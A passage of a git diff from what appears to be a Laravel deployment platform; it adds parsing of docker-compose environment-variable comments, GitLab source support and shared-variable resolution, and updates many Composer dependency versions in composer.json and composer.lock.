[]; + for ($i = 0; $i < $count; $i++) { + if (! $redundant[$i]) { + $result[] = $parsed[$i]['original']; + } + } + + return $result; +} + function get_public_ips() { try { @@ -1317,6 +1797,9 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal { if ($resource->getMorphClass() === \App\Models\Service::class) { if ($resource->docker_compose_raw) { + // Extract inline comments from raw YAML before Symfony parser discards them + $envComments = extractYamlEnvironmentComments($resource->docker_compose_raw); + try { $yaml = Yaml::parse($resource->docker_compose_raw); } catch (\Exception $e) { @@ -1348,7 +1831,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } $topLevelVolumes = collect($tempTopLevelVolumes); } - $services = collect($services)->map(function ($service, $serviceName) use ($topLevelVolumes, $topLevelNetworks, $definedNetwork, $isNew, $generatedServiceFQDNS, $resource, $allServices) { + $services = collect($services)->map(function ($service, $serviceName) use ($topLevelVolumes, $topLevelNetworks, $definedNetwork, $isNew, $generatedServiceFQDNS, $resource, $allServices, $envComments) { // Workarounds for beta users. if ($serviceName === 'registry') { $tempServiceName = 'docker-registry'; @@ -1694,6 +2177,8 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal $key = str($variableName); $value = str($variable); } + // Preserve original key for comment lookup before $key might be reassigned + $originalKey = $key->value(); if ($key->startsWith('SERVICE_FQDN')) { if ($isNew || $savedService->fqdn === null) { $name = $key->after('SERVICE_FQDN_')->beforeLast('_')->lower(); @@ -1747,6 +2232,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } // Caddy needs exact port in some cases. @@ -1826,6 +2312,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } if (! $isDatabase) { @@ -1864,6 +2351,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } } @@ -1902,6 +2390,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } } @@ -3128,7 +3617,7 @@ function defaultNginxConfiguration(string $type = 'static'): string } } -function convertGitUrl(string $gitRepository, string $deploymentType, ?GithubApp $source = null): array +function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp|GitlabApp|null $source = null): array { $repository = $gitRepository; $providerInfo = [ @@ -3148,6 +3637,7 @@ function convertGitUrl(string $gitRepository, string $deploymentType, ?GithubApp // Let's try and fix that for known Git providers switch ($source->getMorphClass()) { case \App\Models\GithubApp::class: + case \App\Models\GitlabApp::class: $providerInfo['host'] = Url::fromString($source->html_url)->getHost(); $providerInfo['port'] = $source->custom_port; $providerInfo['user'] = $source->custom_user; @@ -3447,6 +3937,58 @@ function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $compon return true; } +/** + * Extract hard-coded environment variables from docker-compose YAML. + * + * @param string $dockerComposeRaw Raw YAML content + * @return \Illuminate\Support\Collection Collection of arrays with: key, value, comment, service_name + */ +function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): \Illuminate\Support\Collection +{ + if (blank($dockerComposeRaw)) { + return collect([]); + } + + try { + $yaml = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); + } catch (\Exception $e) { + // Malformed YAML - return empty collection + return collect([]); + } + + $services = data_get($yaml, 'services', []); + if (empty($services)) { + return collect([]); + } + + // Extract inline comments from raw YAML + $envComments = extractYamlEnvironmentComments($dockerComposeRaw); + + $hardcodedVars = collect([]); + + foreach ($services as $serviceName => $service) { + $environment = collect(data_get($service, 'environment', [])); + + if ($environment->isEmpty()) { + continue; + } + + // Convert environment variables to key-value format + $environment = convertToKeyValueCollection($environment); + + foreach ($environment as $key => $value) { + $hardcodedVars->push([ + 'key' => $key, + 'value' => $value, + 'comment' => $envComments[$key] ?? null, + 'service_name' => $serviceName, + ]); + } + } + + return $hardcodedVars; +} + /** * Downsample metrics using the Largest-Triangle-Three-Buckets (LTTB) algorithm. * This preserves the visual shape of the data better than simple averaging. @@ -3524,3 +4066,49 @@ function downsampleLTTB(array $data, int $threshold): array return $sampled; } + +/** + * Resolve shared environment variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}}. + * + * This is the canonical implementation used by both EnvironmentVariable::realValue and the compose parsers + * to ensure shared variable references are replaced with their actual values. + */ +function resolveSharedEnvironmentVariables(?string $value, $resource): ?string +{ + if (is_null($value) || $value === '' || is_null($resource)) { + return $value; + } + $value = trim($value); + $sharedEnvsFound = str($value)->matchAll('/{{(.*?)}}/'); + if ($sharedEnvsFound->isEmpty()) { + return $value; + } + foreach ($sharedEnvsFound as $sharedEnv) { + $type = str($sharedEnv)->trim()->match('/(.*?)\./'); + if (! collect(SHARED_VARIABLE_TYPES)->contains($type)) { + continue; + } + $variable = str($sharedEnv)->trim()->match('/\.(.*)/'); + $id = null; + if ($type->value() === 'environment') { + $id = $resource->environment->id; + } elseif ($type->value() === 'project') { + $id = $resource->environment->project->id; + } elseif ($type->value() === 'team') { + $id = $resource->team()->id; + } + if (is_null($id)) { + continue; + } + $found = \App\Models\SharedEnvironmentVariable::where('type', $type) + ->where('key', $variable) + ->where('team_id', $resource->team()->id) + ->where("{$type}_id", $id) + ->first(); + if ($found) { + $value = str($value)->replace("{{{$sharedEnv}}}", $found->value); + } + } + + return str($value)->value(); +} diff --git a/composer.json b/composer.json index fc71dea8f..e2b16b31b 100644 --- a/composer.json +++ b/composer.json @@ -18,6 +18,7 @@ "laravel/fortify": "^1.34.0", "laravel/framework": "^12.49.0", "laravel/horizon": "^5.43.0", + "laravel/nightwatch": "^1.24", "laravel/pail": "^1.2.4", "laravel/prompts": "^0.3.11|^0.3.11|^0.3.11", "laravel/sanctum": "^4.3.0", @@ -54,7 +55,7 @@ "stevebauman/purify": "^6.3.1", "stripe/stripe-php": "^16.6.0", "symfony/yaml": "^7.4.1", - "visus/cuid2": "^4.1.0", + "visus/cuid2": "^6.0.0", "yosymfony/toml": "^1.0.4", "zircote/swagger-php": "^5.8.0" }, diff --git a/composer.lock b/composer.lock index 7c1e000e5..91900aa95 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "21d43f41d2f2e275403e77ccc66ec553", + "content-hash": "40bddea995c1744e4aec517263109a2f", "packages": [ { "name": "aws/aws-crt-php", @@ -62,16 +62,16 @@ }, { "name": "aws/aws-sdk-php", - "version": "3.369.26", + "version": "3.373.9", "source": { "type": "git", "url": "https://github.com/aws/aws-sdk-php.git", - "reference": "ad0916c6595d98f9052f60e1d7204f4740369e94" + "reference": "a73e12fe5d010f3c6cda2f6f020b5a475444487d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/ad0916c6595d98f9052f60e1d7204f4740369e94", - "reference": "ad0916c6595d98f9052f60e1d7204f4740369e94", + "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/a73e12fe5d010f3c6cda2f6f020b5a475444487d", + "reference": "a73e12fe5d010f3c6cda2f6f020b5a475444487d", "shasum": "" }, "require": { @@ -92,12 +92,12 @@ "aws/aws-php-sns-message-validator": "~1.0", "behat/behat": "~3.0", "composer/composer": "^2.7.8", - "dms/phpunit-arraysubset-asserts": "^0.4.0", + "dms/phpunit-arraysubset-asserts": "^v0.5.0", "doctrine/cache": "~1.4", "ext-dom": "*", "ext-openssl": "*", "ext-sockets": "*", - "phpunit/phpunit": "^9.6", + "phpunit/phpunit": "^10.0", "psr/cache": "^2.0 || ^3.0", "psr/simple-cache": "^2.0 || ^3.0", "sebastian/comparator": "^1.2.3 || ^4.0 || ^5.0", @@ -135,11 +135,11 @@ "authors": [ { "name": "Amazon Web Services", - "homepage": "http://aws.amazon.com" + "homepage": "https://aws.amazon.com" } ], "description": "AWS SDK for PHP - Use Amazon Web Services in your PHP project", - "homepage": "http://aws.amazon.com/sdkforphp", + "homepage": "https://aws.amazon.com/sdk-for-php", "keywords": [ "amazon", "aws", @@ -153,22 +153,22 @@ "support": { "forum": "https://github.com/aws/aws-sdk-php/discussions", "issues": "https://github.com/aws/aws-sdk-php/issues", - "source": "https://github.com/aws/aws-sdk-php/tree/3.369.26" + "source": "https://github.com/aws/aws-sdk-php/tree/3.373.9" }, - "time": "2026-02-03T19:16:42+00:00" + "time": "2026-03-24T18:06:07+00:00" }, { "name": "bacon/bacon-qr-code", - "version": "v3.0.3", + "version": "v3.0.4", "source": { "type": "git", "url": "https://github.com/Bacon/BaconQrCode.git", - "reference": "36a1cb2b81493fa5b82e50bf8068bf84d1542563" + "reference": "3feed0e212b8412cc5d2612706744789b0615824" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/36a1cb2b81493fa5b82e50bf8068bf84d1542563", - "reference": "36a1cb2b81493fa5b82e50bf8068bf84d1542563", + "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/3feed0e212b8412cc5d2612706744789b0615824", + "reference": "3feed0e212b8412cc5d2612706744789b0615824", "shasum": "" }, "require": { @@ -208,22 +208,22 @@ "homepage": "https://github.com/Bacon/BaconQrCode", "support": { "issues": "https://github.com/Bacon/BaconQrCode/issues", - "source": "https://github.com/Bacon/BaconQrCode/tree/v3.0.3" + "source": "https://github.com/Bacon/BaconQrCode/tree/v3.0.4" }, - "time": "2025-11-19T17:15:36+00:00" + "time": "2026-03-16T01:01:30+00:00" }, { "name": "brick/math", - "version": "0.14.5", + "version": "0.14.8", "source": { "type": "git", "url": "https://github.com/brick/math.git", - "reference": "618a8077b3c326045e10d5788ed713b341fcfe40" + "reference": "63422359a44b7f06cae63c3b429b59e8efcc0629" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/brick/math/zipball/618a8077b3c326045e10d5788ed713b341fcfe40", - "reference": "618a8077b3c326045e10d5788ed713b341fcfe40", + "url": "https://api.github.com/repos/brick/math/zipball/63422359a44b7f06cae63c3b429b59e8efcc0629", + "reference": "63422359a44b7f06cae63c3b429b59e8efcc0629", "shasum": "" }, "require": { @@ -262,7 +262,7 @@ ], "support": { "issues": "https://github.com/brick/math/issues", - "source": "https://github.com/brick/math/tree/0.14.5" + "source": "https://github.com/brick/math/tree/0.14.8" }, "funding": [ { @@ -270,7 +270,7 @@ "type": "github" } ], - "time": "2026-02-03T18:06:51+00:00" + "time": "2026-02-10T14:33:43+00:00" }, { "name": "carbonphp/carbon-doctrine-types", @@ -343,27 +343,27 @@ }, { "name": "danharrin/livewire-rate-limiting", - "version": "v2.1.0", + "version": "v2.2.0", "source": { "type": "git", "url": "https://github.com/danharrin/livewire-rate-limiting.git", - "reference": "14dde653a9ae8f38af07a0ba4921dc046235e1a0" + "reference": "c03e649220089f6e5a52d422e24e3f98c73e456d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/danharrin/livewire-rate-limiting/zipball/14dde653a9ae8f38af07a0ba4921dc046235e1a0", - "reference": "14dde653a9ae8f38af07a0ba4921dc046235e1a0", + "url": "https://api.github.com/repos/danharrin/livewire-rate-limiting/zipball/c03e649220089f6e5a52d422e24e3f98c73e456d", + "reference": "c03e649220089f6e5a52d422e24e3f98c73e456d", "shasum": "" }, "require": { - "illuminate/support": "^9.0|^10.0|^11.0|^12.0", + "illuminate/support": "^9.0|^10.0|^11.0|^12.0|^13.0", "php": "^8.0" }, "require-dev": { "livewire/livewire": "^3.0", "livewire/volt": "^1.3", - "orchestra/testbench": "^7.0|^8.0|^9.0|^10.0", - "phpunit/phpunit": "^9.0|^10.0|^11.5.3" + "orchestra/testbench": "^7.0|^8.0|^9.0|^10.0|^11.0", + "phpunit/phpunit": "^9.0|^10.0|^11.5.3|^12.5.12" }, "type": "library", "autoload": { @@ -393,7 +393,7 @@ "type": "github" } ], - "time": "2025-02-21T08:52:11+00:00" + "time": "2026-03-16T11:29:23+00:00" }, { "name": "dasprid/enum", @@ -522,16 +522,16 @@ }, { "name": "doctrine/dbal", - "version": "4.4.1", + "version": "4.4.3", "source": { "type": "git", "url": "https://github.com/doctrine/dbal.git", - "reference": "3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c" + "reference": "61e730f1658814821a85f2402c945f3883407dec" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/dbal/zipball/3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c", - "reference": "3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c", + "url": "https://api.github.com/repos/doctrine/dbal/zipball/61e730f1658814821a85f2402c945f3883407dec", + "reference": "61e730f1658814821a85f2402c945f3883407dec", "shasum": "" }, "require": { @@ -547,9 +547,9 @@ "phpstan/phpstan": "2.1.30", "phpstan/phpstan-phpunit": "2.0.7", "phpstan/phpstan-strict-rules": "^2", - "phpunit/phpunit": "11.5.23", - "slevomat/coding-standard": "8.24.0", - "squizlabs/php_codesniffer": "4.0.0", + "phpunit/phpunit": "11.5.50", + "slevomat/coding-standard": "8.27.1", + "squizlabs/php_codesniffer": "4.0.1", "symfony/cache": "^6.3.8|^7.0|^8.0", "symfony/console": "^5.4|^6.3|^7.0|^8.0" }, @@ -608,7 +608,7 @@ ], "support": { "issues": "https://github.com/doctrine/dbal/issues", - "source": "https://github.com/doctrine/dbal/tree/4.4.1" + "source": "https://github.com/doctrine/dbal/tree/4.4.3" }, "funding": [ { @@ -624,33 +624,33 @@ "type": "tidelift" } ], - "time": "2025-12-04T10:11:03+00:00" + "time": "2026-03-20T08:52:12+00:00" }, { "name": "doctrine/deprecations", - "version": "1.1.5", + "version": "1.1.6", "source": { "type": "git", "url": "https://github.com/doctrine/deprecations.git", - "reference": "459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38" + "reference": "d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/deprecations/zipball/459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38", - "reference": "459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38", + "url": "https://api.github.com/repos/doctrine/deprecations/zipball/d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca", + "reference": "d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "conflict": { - "phpunit/phpunit": "<=7.5 || >=13" + "phpunit/phpunit": "<=7.5 || >=14" }, "require-dev": { - "doctrine/coding-standard": "^9 || ^12 || ^13", - "phpstan/phpstan": "1.4.10 || 2.1.11", + "doctrine/coding-standard": "^9 || ^12 || ^14", + "phpstan/phpstan": "1.4.10 || 2.1.30", "phpstan/phpstan-phpunit": "^1.0 || ^2", - "phpunit/phpunit": "^7.5 || ^8.5 || ^9.6 || ^10.5 || ^11.5 || ^12", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.6 || ^10.5 || ^11.5 || ^12.4 || ^13.0", "psr/log": "^1 || ^2 || ^3" }, "suggest": { @@ -670,9 +670,9 @@ "homepage": "https://www.doctrine-project.org/", "support": { "issues": "https://github.com/doctrine/deprecations/issues", - "source": "https://github.com/doctrine/deprecations/tree/1.1.5" + "source": "https://github.com/doctrine/deprecations/tree/1.1.6" }, - "time": "2025-04-07T20:06:18+00:00" + "time": "2026-02-07T07:09:04+00:00" }, { "name": "doctrine/inflector", @@ -1035,16 +1035,16 @@ }, { "name": "firebase/php-jwt", - "version": "v7.0.2", + "version": "v7.0.3", "source": { "type": "git", "url": "https://github.com/firebase/php-jwt.git", - "reference": "5645b43af647b6947daac1d0f659dd1fbe8d3b65" + "reference": "28aa0694bcfdfa5e2959c394d5a1ee7a5083629e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/firebase/php-jwt/zipball/5645b43af647b6947daac1d0f659dd1fbe8d3b65", - "reference": "5645b43af647b6947daac1d0f659dd1fbe8d3b65", + "url": "https://api.github.com/repos/firebase/php-jwt/zipball/28aa0694bcfdfa5e2959c394d5a1ee7a5083629e", + "reference": "28aa0694bcfdfa5e2959c394d5a1ee7a5083629e", "shasum": "" }, "require": { @@ -1092,9 +1092,9 @@ ], "support": { "issues": "https://github.com/firebase/php-jwt/issues", - "source": "https://github.com/firebase/php-jwt/tree/v7.0.2" + "source": "https://github.com/firebase/php-jwt/tree/v7.0.3" }, - "time": "2025-12-16T22:17:28+00:00" + "time": "2026-02-25T22:16:40+00:00" }, { "name": "fruitcake/php-cors", @@ -1440,16 +1440,16 @@ }, { "name": "guzzlehttp/psr7", - "version": "2.8.0", + "version": "2.9.0", "source": { "type": "git", "url": "https://github.com/guzzle/psr7.git", - "reference": "21dc724a0583619cd1652f673303492272778051" + "reference": "7d0ed42f28e42d61352a7a79de682e5e67fec884" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/guzzle/psr7/zipball/21dc724a0583619cd1652f673303492272778051", - "reference": "21dc724a0583619cd1652f673303492272778051", + "url": "https://api.github.com/repos/guzzle/psr7/zipball/7d0ed42f28e42d61352a7a79de682e5e67fec884", + "reference": "7d0ed42f28e42d61352a7a79de682e5e67fec884", "shasum": "" }, "require": { @@ -1465,6 +1465,7 @@ "require-dev": { "bamarni/composer-bin-plugin": "^1.8.2", "http-interop/http-factory-tests": "0.9.0", + "jshttp/mime-db": "1.54.0.1", "phpunit/phpunit": "^8.5.44 || ^9.6.25" }, "suggest": { @@ -1536,7 +1537,7 @@ ], "support": { "issues": "https://github.com/guzzle/psr7/issues", - "source": "https://github.com/guzzle/psr7/tree/2.8.0" + "source": "https://github.com/guzzle/psr7/tree/2.9.0" }, "funding": [ { @@ -1552,7 +1553,7 @@ "type": "tidelift" } ], - "time": "2025-08-23T21:21:41+00:00" + "time": "2026-03-10T16:41:02+00:00" }, { "name": "guzzlehttp/uri-template", @@ -1702,28 +1703,28 @@ }, { "name": "laravel/fortify", - "version": "v1.34.0", + "version": "v1.36.2", "source": { "type": "git", "url": "https://github.com/laravel/fortify.git", - "reference": "c322715f2786210a722ed56966f7c9877b653b25" + "reference": "b36e0782e6f5f6cfbab34327895a63b7c4c031f9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/fortify/zipball/c322715f2786210a722ed56966f7c9877b653b25", - "reference": "c322715f2786210a722ed56966f7c9877b653b25", + "url": "https://api.github.com/repos/laravel/fortify/zipball/b36e0782e6f5f6cfbab34327895a63b7c4c031f9", + "reference": "b36e0782e6f5f6cfbab34327895a63b7c4c031f9", "shasum": "" }, "require": { "bacon/bacon-qr-code": "^3.0", "ext-json": "*", - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/console": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", - "pragmarx/google2fa": "^9.0", - "symfony/console": "^6.0|^7.0" + "pragmarx/google2fa": "^9.0" }, "require-dev": { - "orchestra/testbench": "^8.36|^9.15|^10.8", + "orchestra/testbench": "^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -1761,20 +1762,20 @@ "issues": "https://github.com/laravel/fortify/issues", "source": "https://github.com/laravel/fortify" }, - "time": "2026-01-26T10:23:19+00:00" + "time": "2026-03-20T20:13:51+00:00" }, { "name": "laravel/framework", - "version": "v12.49.0", + "version": "v12.55.1", "source": { "type": "git", "url": "https://github.com/laravel/framework.git", - "reference": "4bde4530545111d8bdd1de6f545fa8824039fcb5" + "reference": "6d9185a248d101b07eecaf8fd60b18129545fd33" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/framework/zipball/4bde4530545111d8bdd1de6f545fa8824039fcb5", - "reference": "4bde4530545111d8bdd1de6f545fa8824039fcb5", + "url": "https://api.github.com/repos/laravel/framework/zipball/6d9185a248d101b07eecaf8fd60b18129545fd33", + "reference": "6d9185a248d101b07eecaf8fd60b18129545fd33", "shasum": "" }, "require": { @@ -1795,7 +1796,7 @@ "guzzlehttp/uri-template": "^1.0", "laravel/prompts": "^0.3.0", "laravel/serializable-closure": "^1.3|^2.0", - "league/commonmark": "^2.7", + "league/commonmark": "^2.8.1", "league/flysystem": "^3.25.1", "league/flysystem-local": "^3.25.1", "league/uri": "^7.5.1", @@ -1890,7 +1891,7 @@ "orchestra/testbench-core": "^10.9.0", "pda/pheanstalk": "^5.0.6|^7.0.0", "php-http/discovery": "^1.15", - "phpstan/phpstan": "^2.0", + "phpstan/phpstan": "^2.1.41", "phpunit/phpunit": "^10.5.35|^11.5.3|^12.0.1", "predis/predis": "^2.3|^3.0", "resend/resend-php": "^0.10.0|^1.0", @@ -1983,40 +1984,41 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2026-01-28T03:40:49+00:00" + "time": "2026-03-18T14:28:59+00:00" }, { "name": "laravel/horizon", - "version": "v5.43.0", + "version": "v5.45.4", "source": { "type": "git", "url": "https://github.com/laravel/horizon.git", - "reference": "2a04285ba83915511afbe987cbfedafdc27fd2de" + "reference": "b2b32e3f6013081e0176307e9081cd085f0ad4d6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/horizon/zipball/2a04285ba83915511afbe987cbfedafdc27fd2de", - "reference": "2a04285ba83915511afbe987cbfedafdc27fd2de", + "url": "https://api.github.com/repos/laravel/horizon/zipball/b2b32e3f6013081e0176307e9081cd085f0ad4d6", + "reference": "b2b32e3f6013081e0176307e9081cd085f0ad4d6", "shasum": "" }, "require": { "ext-json": "*", "ext-pcntl": "*", "ext-posix": "*", - "illuminate/contracts": "^9.21|^10.0|^11.0|^12.0", - "illuminate/queue": "^9.21|^10.0|^11.0|^12.0", - "illuminate/support": "^9.21|^10.0|^11.0|^12.0", + "illuminate/contracts": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/queue": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^9.21|^10.0|^11.0|^12.0|^13.0", + "laravel/sentinel": "^1.0", "nesbot/carbon": "^2.17|^3.0", "php": "^8.0", "ramsey/uuid": "^4.0", - "symfony/console": "^6.0|^7.0", - "symfony/error-handler": "^6.0|^7.0", + "symfony/console": "^6.0|^7.0|^8.0", + "symfony/error-handler": "^6.0|^7.0|^8.0", "symfony/polyfill-php83": "^1.28", - "symfony/process": "^6.0|^7.0" + "symfony/process": "^6.0|^7.0|^8.0" }, "require-dev": { "mockery/mockery": "^1.0", - "orchestra/testbench": "^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^7.56|^8.37|^9.16|^10.9|^11.0", "phpstan/phpstan": "^1.10|^2.0", "predis/predis": "^1.1|^2.0|^3.0" }, @@ -2060,43 +2062,138 @@ ], "support": { "issues": "https://github.com/laravel/horizon/issues", - "source": "https://github.com/laravel/horizon/tree/v5.43.0" + "source": "https://github.com/laravel/horizon/tree/v5.45.4" }, - "time": "2026-01-15T15:10:56+00:00" + "time": "2026-03-18T14:14:59+00:00" }, { - "name": "laravel/pail", - "version": "v1.2.4", + "name": "laravel/nightwatch", + "version": "v1.24.4", "source": { "type": "git", - "url": "https://github.com/laravel/pail.git", - "reference": "49f92285ff5d6fc09816e976a004f8dec6a0ea30" + "url": "https://github.com/laravel/nightwatch.git", + "reference": "127e9bb9928f0fcf69b52b244053b393c90347c8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/pail/zipball/49f92285ff5d6fc09816e976a004f8dec6a0ea30", - "reference": "49f92285ff5d6fc09816e976a004f8dec6a0ea30", + "url": "https://api.github.com/repos/laravel/nightwatch/zipball/127e9bb9928f0fcf69b52b244053b393c90347c8", + "reference": "127e9bb9928f0fcf69b52b244053b393c90347c8", + "shasum": "" + }, + "require": { + "ext-zlib": "*", + "guzzlehttp/promises": "^2.0", + "laravel/framework": "^10.0|^11.0|^12.0|^13.0", + "monolog/monolog": "^3.6", + "nesbot/carbon": "^2.0|^3.0", + "php": "^8.2", + "psr/http-message": "^1.0|^2.0", + "psr/log": "^1.0|^2.0|^3.0", + "ramsey/uuid": "^4.0", + "symfony/console": "^6.0|^7.0|^8.0", + "symfony/http-foundation": "^6.0|^7.0|^8.0", + "symfony/polyfill-php84": "^1.29" + }, + "require-dev": { + "aws/aws-sdk-php": "^3.349", + "ext-pcntl": "*", + "ext-pdo": "*", + "guzzlehttp/guzzle": "^7.0", + "guzzlehttp/psr7": "^2.0", + "laravel/horizon": "^5.4", + "laravel/pint": "1.21.0", + "laravel/vapor-core": "^2.38.2", + "livewire/livewire": "^2.0|^3.0", + "mockery/mockery": "^1.0", + "mongodb/laravel-mongodb": "^4.0|^5.0", + "orchestra/testbench": "^8.0|^9.0|^10.0", + "orchestra/testbench-core": "^8.0|^9.0|^10.0", + "orchestra/workbench": "^8.0|^9.0|^10.0", + "phpstan/phpstan": "^1.0", + "phpunit/phpunit": "^10.0|^11.0|^12.0", + "singlestoredb/singlestoredb-laravel": "^1.0|^2.0", + "spatie/laravel-ignition": "^2.0", + "symfony/mailer": "^6.0|^7.0|^8.0", + "symfony/mime": "^6.0|^7.0|^8.0", + "symfony/var-dumper": "^6.0|^7.0|^8.0" + }, + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Nightwatch": "Laravel\\Nightwatch\\Facades\\Nightwatch" + }, + "providers": [ + "Laravel\\Nightwatch\\NightwatchServiceProvider" + ] + } + }, + "autoload": { + "files": [ + "agent/helpers.php" + ], + "psr-4": { + "Laravel\\Nightwatch\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The official Laravel Nightwatch package.", + "homepage": "https://nightwatch.laravel.com", + "keywords": [ + "Insights", + "laravel", + "monitoring" + ], + "support": { + "docs": "https://nightwatch.laravel.com/docs", + "issues": "https://github.com/laravel/nightwatch/issues", + "source": "https://github.com/laravel/nightwatch" + }, + "time": "2026-03-18T23:25:05+00:00" + }, + { + "name": "laravel/pail", + "version": "v1.2.6", + "source": { + "type": "git", + "url": "https://github.com/laravel/pail.git", + "reference": "aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/pail/zipball/aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf", + "reference": "aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf", "shasum": "" }, "require": { "ext-mbstring": "*", - "illuminate/console": "^10.24|^11.0|^12.0", - "illuminate/contracts": "^10.24|^11.0|^12.0", - "illuminate/log": "^10.24|^11.0|^12.0", - "illuminate/process": "^10.24|^11.0|^12.0", - "illuminate/support": "^10.24|^11.0|^12.0", + "illuminate/console": "^10.24|^11.0|^12.0|^13.0", + "illuminate/contracts": "^10.24|^11.0|^12.0|^13.0", + "illuminate/log": "^10.24|^11.0|^12.0|^13.0", + "illuminate/process": "^10.24|^11.0|^12.0|^13.0", + "illuminate/support": "^10.24|^11.0|^12.0|^13.0", "nunomaduro/termwind": "^1.15|^2.0", "php": "^8.2", - "symfony/console": "^6.0|^7.0" + "symfony/console": "^6.0|^7.0|^8.0" }, "require-dev": { - "laravel/framework": "^10.24|^11.0|^12.0", + "laravel/framework": "^10.24|^11.0|^12.0|^13.0", "laravel/pint": "^1.13", - "orchestra/testbench-core": "^8.13|^9.17|^10.8", + "orchestra/testbench-core": "^8.13|^9.17|^10.8|^11.0", "pestphp/pest": "^2.20|^3.0|^4.0", "pestphp/pest-plugin-type-coverage": "^2.3|^3.0|^4.0", "phpstan/phpstan": "^1.12.27", - "symfony/var-dumper": "^6.3|^7.0" + "symfony/var-dumper": "^6.3|^7.0|^8.0", + "symfony/yaml": "^6.3|^7.0|^8.0" }, "type": "library", "extra": { @@ -2141,34 +2238,34 @@ "issues": "https://github.com/laravel/pail/issues", "source": "https://github.com/laravel/pail" }, - "time": "2025-11-20T16:29:35+00:00" + "time": "2026-02-09T13:44:54+00:00" }, { "name": "laravel/prompts", - "version": "v0.3.11", + "version": "v0.3.16", "source": { "type": "git", "url": "https://github.com/laravel/prompts.git", - "reference": "dd2a2ed95acacbcccd32fd98dee4c946ae7a7217" + "reference": "11e7d5f93803a2190b00e145142cb00a33d17ad2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/prompts/zipball/dd2a2ed95acacbcccd32fd98dee4c946ae7a7217", - "reference": "dd2a2ed95acacbcccd32fd98dee4c946ae7a7217", + "url": "https://api.github.com/repos/laravel/prompts/zipball/11e7d5f93803a2190b00e145142cb00a33d17ad2", + "reference": "11e7d5f93803a2190b00e145142cb00a33d17ad2", "shasum": "" }, "require": { "composer-runtime-api": "^2.2", "ext-mbstring": "*", "php": "^8.1", - "symfony/console": "^6.2|^7.0" + "symfony/console": "^6.2|^7.0|^8.0" }, "conflict": { "illuminate/console": ">=10.17.0 <10.25.0", "laravel/framework": ">=10.17.0 <10.25.0" }, "require-dev": { - "illuminate/collections": "^10.0|^11.0|^12.0", + "illuminate/collections": "^10.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.5", "pestphp/pest": "^2.3|^3.4|^4.0", "phpstan/phpstan": "^1.12.28", @@ -2198,36 +2295,36 @@ "description": "Add beautiful and user-friendly forms to your command-line applications.", "support": { "issues": "https://github.com/laravel/prompts/issues", - "source": "https://github.com/laravel/prompts/tree/v0.3.11" + "source": "https://github.com/laravel/prompts/tree/v0.3.16" 